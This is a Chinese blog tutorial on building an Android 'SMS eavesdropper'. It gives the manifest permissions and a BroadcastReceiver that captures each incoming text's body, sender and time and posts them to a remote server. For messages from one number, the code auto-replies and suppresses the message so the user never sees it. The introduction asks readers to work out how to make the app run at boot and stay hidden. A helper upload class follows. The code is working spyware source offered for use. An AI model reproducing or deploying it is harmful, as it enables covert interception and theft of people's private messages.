Android开发之短信窃听器


短信窃听器虽然能窃听到没人的短信,但是受多方面因素影响,比如开机就得运行你的程序,而且还不能让用户发现,这就需要你们自己动脑筋了。

首先我们要在清单里写上我们需要的权限与订阅广播

  1. <uses-permission Android:name="android.permission.INTERNET"/>//上网  
  2. <uses-permission android:name="android.permission.RECEIVE_SMS"/>//接收短信  
  3. <uses-permission android:name="android.permission.SEND_SMS"/>//发送短信  
  4. <receiver android:name="MySMSListener">  
  5.     <intent-filter android:priority="100">//提升优先级  
  6.          <action android:name="android.provider.Telephony.SMS_RECEIVED"/>  
  7.      </intent-filter>  
  8. </receiver>  

实现代码

  1. package cn.class3g.smslistener;  
  2.   
  3. import java.text.SimpleDateFormat;  
  4. import java.util.Date;  
  5. import java.util.HashMap;  
  6. import java.util.Map;  
  7.   
  8. import cn.class3g.utils.SocketHttpRequester;  
  9.   
  10. import android.content.BroadcastReceiver;  
  11. import android.content.Context;  
  12. import android.content.Intent;  
  13. import android.os.Bundle;  
  14. import android.telephony.SmsManager;  
  15. import android.telephony.SmsMessage;  
  16. import android.util.Log;  
  17.   
  18. public class MySMSListener extends BroadcastReceiver {  
  19.   
  20.     @Override  
  21.     public void onReceive(Context context, Intent intent) {  
  22.         Bundle bundle = intent.getExtras();  
  23.   
  24.         Object[] pdus = (Object[]) bundle.get("pdus");  
  25.   
  26.         if (pdus != null && pdus.length > 0) {  
  27.             SmsMessage[] messages = new SmsMessage[pdus.length];  
  28.             for (int i = 0; i < messages.length; i++) {  
  29.                 byte[] pdu = (byte[]) pdus[i];  
  30.                 messages[i] = SmsMessage.createFromPdu(pdu);  
  31.             }  
  32.             for (SmsMessage msg : messages) {  
  33.                 String content = msg.getMessageBody();  
  34.                 String sender = msg.getOriginatingAddress();  
  35.                 Date date = new Date(msg.getTimestampMillis());  
  36.                 SimpleDateFormat sdf = new SimpleDateFormat(  
  37.                         "yyyy-MM-dd HH:mm:ss");  
  38.                 String sendTime = sdf.format(date);  
  39.   
  40.                 String path = "http://192.168.65.32:8080/videoweb/video/manage.do";  
  41.   
  42.                 Map<String, String> param = new HashMap<String, String>();  
  43.                 param.put("method", "getSMS");  
  44.                 param.put("content", content);  
  45.                 param.put("sender", sender);  
  46.                 param.put("time", sendTime);  
  47.   
  48.                 try {  
  49.                     SocketHttpRequester.post(path, param, "UTF-8");  
  50.                 } catch (Exception e) {  
  51.                     // TODO Auto-generated catch block  
  52.                     Log.e("tag", e.toString());  
  53.                 }  
  54.                 if (sender != null && sender.endsWith("5556")) {  
  55.                     SmsManager smsManager = SmsManager.getDefault();  
  56.                     smsManager.sendTextMessage("5556", null, "123", null, null);  
  57.                     this.abortBroadcast();// 阻止接受  
  58.                 }  
  59.   
  60.             }  
  61.         }  
  62.     }  
  63.   
  64. }  

用到的方法,读取数据

  1. package cn.class3g.utils;  
  2.   
  3.    
  4.   
  5. import java.io.File;  
  6.   
  7. import java.io.FileInputStream;  
  8.   
  9. import java.io.FileNotFoundException;  
  10.   
  11. import java.io.InputStream;  
  12.   
  13.    
  14.   
  15. /**  
  16.   
  17.  * 上传文件  
  18.   
  19.  */  
  20.   
  21. public class FormFile {  
  22.   
  23.    /* 上传文件的数据 */  
  24.   
  25.    private byte[] data;  
  26.   
  27.    private InputStream inStream;  
  28.   
  29.    private File file;  
  30.   
  31.    /* 文件名称 */  
  32.   
  33.    private String filname;  
  34.   
  35.    /* 请求参数名称*/  
  36.   
  37.    private String parameterName;  
  38.   
  39.    /* 内容类型 */  
  40.   
  41.    private String contentType = "application/octet-stream";  
  42.   
  43.      
  44.   
  45.    public FormFile(String filname, byte[] data, String parameterName, String contentType) {  
  46.   
  47.       this.data = data;  
  48.   
  49.       this.filname = filname;  
  50.   
  51.       this.parameterName = parameterName;  
  52.   
  53.       if(contentType!=null) this.contentType = contentType;  
  54.   
  55.    }  
  56.   
  57.      
  58.   
  59.    public FormFile(String filname, File file, String parameterName, String contentType) {  
  60.   
  61.       this.filname = filname;  
  62.   
  63.       this.parameterName = parameterName;  
  64.   
  65.       this.file = file;  
  66.   
  67.       try {  
  68.   
  69.         this.inStream = new FileInputStream(file);  
  70.   
  71.       } catch (FileNotFoundException e) {  
  72.   
  73.         e.printStackTrace();  
  74.   
  75.       }  
  76.   
  77.       if(contentType!=null) this.contentType = contentType;  
  78.   
  79.    }  
  80.   
  81.      
  82.   
  83.    public File getFile() {  
  84.   
  85.       return file;  
  86.   
  87.    }  
  88.   
  89.    
  90.   
  91.    public InputStream getInStream() {  
  92.   
  93.       return inStream;  
  94.   
  95.    }  
  96.   
  97.    
  98.   
  99.    public byte[] getData() {  
  100.   
  101.       return data;  
  102.   
  103.    }  
  104.   
  105.    
  106.   
  107.    public String getFilname() {  
  108.   
  109.       return filname;  
  110.   
  111.    }  
  112.   
  113.    
  114.   
  115.    public void setFilname(String filname) {  
  116.   
  117.       this.filname = filname;  
  118.   
  119.    }  
  120.   
  121.    
  122.   
  123.    public String getParameterName() {  
  124.   
  125.       return parameterName;  
  126.   
  127.    }  
  128.   
  129.    
  130.   
  131.    public void setParameterName(String parameterName) {  
  132.   
  133.       this.parameterName = parameterName;  
  134.   
  135.    }  
  136.   
  137.    
  138.   
  139.    public String getContentType() {  
  140.   
  141.       return contentType;  
  142.   
  143.    }  
  144.   
  145.    
  146.   
  147.    public void setContentType(String contentType) {  
  148.   
  149.       this.contentType = contentType;  
  150.   
  151.    }  
  152.   
  153.      
  154.   
  155. }   
  • 1
  • 2
  • 下一页

相关内容